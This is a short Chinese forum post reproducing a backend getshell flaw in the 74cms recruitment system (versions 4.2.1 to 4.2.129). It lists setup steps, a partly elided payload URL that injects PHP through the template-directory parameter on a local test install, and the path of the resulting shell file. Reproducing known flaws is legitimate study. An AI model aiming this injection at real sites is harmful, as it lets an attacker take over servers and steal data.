搜索
查看: 1418|回复: 0

74cms v4.2.1-v4.2.129-后台getshell漏洞复现

[复制链接]

95

主题

138

帖子

268

积分

中级会员

Rank: 3Rank: 3

积分
268
发表于 2021-1-5 16:25:14 | 显示全部楼层 |阅读模式


环境搭建

  1. 先去官网获取 骑士人才系统基础版(安装包)

2.将获取好的包进行安装

漏洞复现

点加工具,点击风格模板

Payload:

http://127.0.0.1/74cms/index.php ... ;a=set&tpl_dir=,'a',phpinfo(),'

shell地址:

http://127.0.0.1/74cms/Application/Home/Conf/config.php

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
专业装逼!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表